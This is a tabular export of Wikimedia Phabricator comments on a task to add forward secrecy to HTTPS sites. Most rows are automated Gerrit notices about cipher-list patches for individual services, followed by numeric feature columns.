https://gerrit.wikimedia.org/r/149267",,,1406302349,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3,1.0,"Change 149267 merged by Dzahn:
icinga-admin -- update cipher suite list to support PFS

GERRIT_URL"
257770,Add Forward Secrecy to all HTTPS sites,"Change 149267 had a related patch set uploaded by Chmarkine:
icinga-admin -- update cipher suite list to support PFS

https://gerrit.wikimedia.org/r/149267",,,1406276759,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.44,1.0,"Change 149267 had a related patch set uploaded by Chmarkine:
icinga-admin -- update cipher suite list to support PFS

GERRIT_URL"
257764,Add Forward Secrecy to all HTTPS sites,"Change 148631 had a related patch set uploaded by Chmarkine:
svn -- update cipher suite list to support PFS

https://gerrit.wikimedia.org/r/148631",,,1406111474,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.434782608695652,1.0,"Change 148631 had a related patch set uploaded by Chmarkine:
svn -- update cipher suite list to support PFS

GERRIT_URL"
257758,Add Forward Secrecy to all HTTPS sites,"Change 148624 had a related patch set uploaded by Chmarkine:
planet -- update cipher suite list to support PFS

https://gerrit.wikimedia.org/r/148624",,,1406108856,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.565217391304348,1.0,"Change 148624 had a related patch set uploaded by Chmarkine:
planet -- update cipher suite list to support PFS

GERRIT_URL"
257754,Add Forward Secrecy to all HTTPS sites,"Change 148618 had a related patch set uploaded by Chmarkine:
tendril -- update cipher suite list to support PFS

https://gerrit.wikimedia.org/r/148618",,,1406106814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.608695652173913,1.0,"Change 148618 had a related patch set uploaded by Chmarkine:
tendril -- update cipher suite list to support PFS

GERRIT_URL"
257749,Add Forward Secrecy to all HTTPS sites,"Change 147739 abandoned by Chmarkine:
blog -- update cipher suite list to support PFS

https://gerrit.wikimedia.org/r/147739",,,1406001811,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.722222222222222,1.0,"Change 147739 abandoned by Chmarkine:
blog -- update cipher suite list to support PFS

GERRIT_URL"
257742,Add Forward Secrecy to all HTTPS sites,"Change 147740 had a related patch set uploaded by Chmarkine:
ishmael -- update cipher suite list to support PFS

https://gerrit.wikimedia.org/r/147740",,,1405782676,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.608695652173913,1.0,"Change 147740 had a related patch set uploaded by Chmarkine:
ishmael -- update cipher suite list to support PFS

GERRIT_URL"
257739,Add Forward Secrecy to all HTTPS sites,"Change 147739 had a related patch set uploaded by Chmarkine:
blog -- update cipher suite list to support PFS

https://gerrit.wikimedia.org/r/147739",,,1405780637,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.478260869565218,1.0,"Change 147739 had a related patch set uploaded by Chmarkine:
blog -- update cipher suite list to support PFS

GERRIT_URL"
257735,Add Forward Secrecy to all HTTPS sites,"Change 147715 had a related patch set uploaded by Chmarkine:
rt -- update cipher suite list to support PFS

https://gerrit.wikimedia.org/r/147715",,,1405744267,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.391304347826087,1.0,"Change 147715 had a related patch set uploaded by Chmarkine:
rt -- update cipher suite list to support PFS

GERRIT_URL"
257729,Add Forward Secrecy to all HTTPS sites,"Change 147214 merged by Dzahn:
metrics - update SSL cipher list

https://gerrit.wikimedia.org/r/147214",,,1405719532,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 147214 merged by Dzahn:
metrics - update SSL cipher list

GERRIT_URL"
257723,Add Forward Secrecy to all HTTPS sites,"Change 147185 merged by Dzahn:
racktables - update SSL cipher list

https://gerrit.wikimedia.org/r/147185",,,1405716993,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,"Change 147185 merged by Dzahn:
racktables - update SSL cipher list

GERRIT_URL"
257716,Add Forward Secrecy to all HTTPS sites,"Change 147199 merged by Dzahn:
etherpad - update SSL cipher list

https://gerrit.wikimedia.org/r/147199",,,1405702883,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.466666666666667,1.0,"Change 147199 merged by Dzahn:
etherpad - update SSL cipher list

GERRIT_URL"
257710,Add Forward Secrecy to all HTTPS sites,"Change 147196 abandoned by Dzahn:
smokeping - update SSL cipher list

https://gerrit.wikimedia.org/r/147196",,,1405699893,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.733333333333333,1.0,"Change 147196 abandoned by Dzahn:
smokeping - update SSL cipher list

GERRIT_URL"
257703,Add Forward Secrecy to all HTTPS sites,"Change 147214 had a related patch set uploaded by JanZerebecki:
metrics - update SSL cipher list

https://gerrit.wikimedia.org/r/147214",,,1405685873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7,1.0,"Change 147214 had a related patch set uploaded by JanZerebecki:
metrics - update SSL cipher list

GERRIT_URL"
257693,Add Forward Secrecy to all HTTPS sites,"Change 147208 had a related patch set uploaded by JanZerebecki:
generic_vhost (webserver) - update SSL ciphers

https://gerrit.wikimedia.org/r/147208",,,1405685601,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.909090909090909,1.0,"Change 147208 had a related patch set uploaded by JanZerebecki:
generic_vhost (webserver) - update SSL ciphers

GERRIT_URL"
257684,Add Forward Secrecy to all HTTPS sites,"Change 147207 had a related patch set uploaded by JanZerebecki:
icinga - update SSL cipher list

https://gerrit.wikimedia.org/r/147207",,,1405684157,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.65,1.0,"Change 147207 had a related patch set uploaded by JanZerebecki:
icinga - update SSL cipher list

GERRIT_URL"
257677,Add Forward Secrecy to all HTTPS sites,"Change 147199 had a related patch set uploaded by JanZerebecki:
etherpad - update SSL cipher list

https://gerrit.wikimedia.org/r/147199",,,1405683465,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"Change 147199 had a related patch set uploaded by JanZerebecki:
etherpad - update SSL cipher list

GERRIT_URL"
257673,Add Forward Secrecy to all HTTPS sites,"Change 147196 had a related patch set uploaded by JanZerebecki:
smokeping - update SSL cipher list

https://gerrit.wikimedia.org/r/147196",,,1405682977,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.8,1.0,"Change 147196 had a related patch set uploaded by JanZerebecki:
smokeping - update SSL cipher list

GERRIT_URL"
257669,Add Forward Secrecy to all HTTPS sites,"Change 147185 had a related patch set uploaded by JanZerebecki:
racktables - update SSL cipher list

https://gerrit.wikimedia.org/r/147185",,,1405682764,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.85,1.0,"Change 147185 had a related patch set uploaded by JanZerebecki:
racktables - update SSL cipher list

GERRIT_URL"
257664,Add Forward Secrecy to all HTTPS sites,It is B for ganglia because that old of an libssl and apache do not support newer TLS versions. ganglia / nickel.wikimedia.org is still on Ubuntu Lucid.,,,1405621600,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,46,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,17.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,14.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,4.344827586206897,0.896551724137931,It is B for ganglia because that old of an libssl and apache do not support newer TLS versions. ganglia / nickel.wikimedia.org is still on Ubuntu Lucid.
257660,Add Forward Secrecy to all HTTPS sites,"Change 147123 merged by Dzahn:
update SSL ciphers for noc.wikimedia.org to support PFS

https://gerrit.wikimedia.org/r/147123",,,1405616705,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.117647058823529,1.0,"Change 147123 merged by Dzahn:
update SSL ciphers for noc.wikimedia.org to support PFS

GERRIT_URL"
257656,Add Forward Secrecy to all HTTPS sites,"Why does ganglia still get a B from Qualys SSL Labs after the change, while others are fine?",,,1405615151,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,46,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,25.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,15.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,"Why does ganglia still get a B from Qualys SSL Labs after the change, while others are fine?"
257651,Add Forward Secrecy to all HTTPS sites,"Change 147110 merged by Dzahn:
update SSL ciphers for Ganglia to support PFS

https://gerrit.wikimedia.org/r/147110",,,1405612447,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,18.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.529411764705882,1.0,"Change 147110 merged by Dzahn:
update SSL ciphers for Ganglia to support PFS

GERRIT_URL"
257646,Add Forward Secrecy to all HTTPS sites,"Change 147123 had a related patch set uploaded by Chmarkine:
update SSL ciphers for noc.wikimedia.org to support PFS

https://gerrit.wikimedia.org/r/147123",,,1405611296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.090909090909091,1.0,"Change 147123 had a related patch set uploaded by Chmarkine:
update SSL ciphers for noc.wikimedia.org to support PFS

GERRIT_URL"
257640,Add Forward Secrecy to all HTTPS sites,"Change 147110 had a related patch set uploaded by Chmarkine:
update SSL ciphers for Ganglia to support PFS

